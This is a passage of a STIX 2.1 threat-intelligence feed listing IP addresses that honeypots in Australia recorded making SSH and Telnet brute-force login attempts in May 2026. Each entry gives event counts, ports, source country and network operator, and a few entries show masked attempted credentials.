      "id": "indicator--e3a4414f-d0e3-4e46-ad05-c434f6a8f8a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.218.219.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1134f5c1-b6c8-4c23-a0ee-4160de7f385a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.98.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--41a97c61-0413-4bd9-86c7-3c0f7c13606d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.139.79.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--7cc47f2a-467a-4749-9285-048bf4f488a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.97.215.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--e48b5388-0c4b-4154-b76c-a16262c7f4b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.207.34.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8e207922-43a4-43ef-9ac5-e70504e6703d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.191.215.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bab337a0-66ce-4196-8c60-e45a9da81f95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.241.22.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--eb18d533-c966-4756-8fdb-f70d240457c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.152.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b4c554d6-22c2-4c09-9f5a-7d06114a7a4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.153.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--253dfa65-d2f5-4170-b116-dca48c6cf775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.82.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--be61831a-5024-42d1-9ae3-d65b68a5cf1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.245.98.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264358. Organisation(s): PETRANET INTERNET LTDA.",
      "id": "indicator--a77f008b-49c5-471b-941f-52969fb71f2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.161.15.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS. Usernames observed (masked): r**t, u****u, 3**********4, a***n, g****b. Passwords observed (masked): *, ***, 1**4, 1********T, 1**********C.",
      "id": "indicator--65a358f0-e8a2-4223-8a06-e8a366701930",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.98.123.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 197592. Organisation(s): iNET Media Group sp z o.o..",
      "id": "indicator--cff2e7a4-09b1-4df8-8e8f-1b367e1aba7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '155.133.114.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 137872. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--261a787c-ec8a-4449-a0fa-e5a6d63dfce4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.149.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 67. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, u****u, a***n. Passwords observed (masked): 1********T, 3***********4, A******4, P*******1, p******3.",
      "id": "indicator--1d1acc12-df01-4ccd-a44b-2a303a8d4f2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.100.198.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 4775. Organisation(s): Globe Telecoms.",
      "id": "indicator--fa9e0512-2d17-479a-a6c6-03a094affa04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.122.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7d62602c-12a6-4495-92c1-dc0ba955f71a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.243.189.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24547. Organisation(s): Hebei Mobile Communication Company Limited.",
      "id": "indicator--3404e19e-24fa-469a-ba06-eaa4a604ebfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.196.102.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MZ. ASN(s): 30619. Organisation(s): TMCEL-Mocambique.",
      "id": "indicator--2d01f734-d6dc-4d34-87bb-ec95b39d6f59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.158.38.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 4618. Organisation(s): Internet Thailand Company Limited.",
      "id": "indicator--167740ef-014a-4820-8618-96a509b1dd0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.44.196.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--deb924e4-d059-48e7-8ef9-ac93b7f6cf93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.225.205.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--718c65dc-2a40-42da-80b5-7d5ead6f261d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.249.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--0e835857-7279-47ec-aff4-ba2e218dd667",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.19.25.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a5ccbc62-8a93-4fb8-aca7-e68d7962d192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.111.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 273446. Organisation(s): DBR TELECOMUNICACOES LTDA.",
      "id": "indicator--6b85a354-570b-4e50-8ca4-2fae25a76c2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.191.151.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--271ac804-0c1e-4bc1-ada2-2df2f1354b99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.239.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bc3351e6-6ef4-419e-ad0f-ea81233e3e1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.60.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133275. Organisation(s): Gigantic Infotel Pvt Ltd.",
      "id": "indicator--17b6ff9e-4426-4cfd-8daf-5c9055d7b14e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.125.61.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269139. Organisation(s): AN TELECOM.",
      "id": "indicator--ce037224-70ca-4a8b-a970-9d8c61d2a0d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.180.86.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8c270d5e-ef40-4fdf-959d-1011fa63a32c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.104.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bb1232e1-5758-48f4-8bf0-1c43070f2cbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.19.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ce61ced9-9e81-42a9-88f9-5794ab6a9bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.103.116.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--3e1b5685-b999-4a58-bb73-1916f103443e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.124.169.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 216046. Organisation(s): Tele.Co.Albania SHPK.",
      "id": "indicator--9b835a39-136a-4866-9feb-4d39f11c9218",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.247.88.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GE. ASN(s): 49628. Organisation(s): LLC Skytel.",
      "id": "indicator--d20015e6-ebc9-427a-a525-c686ebef74ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.40.107.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB.",
      "id": "indicator--eaf82bbd-ecec-4e90-b12f-bc555d9bc8a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.24.244.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
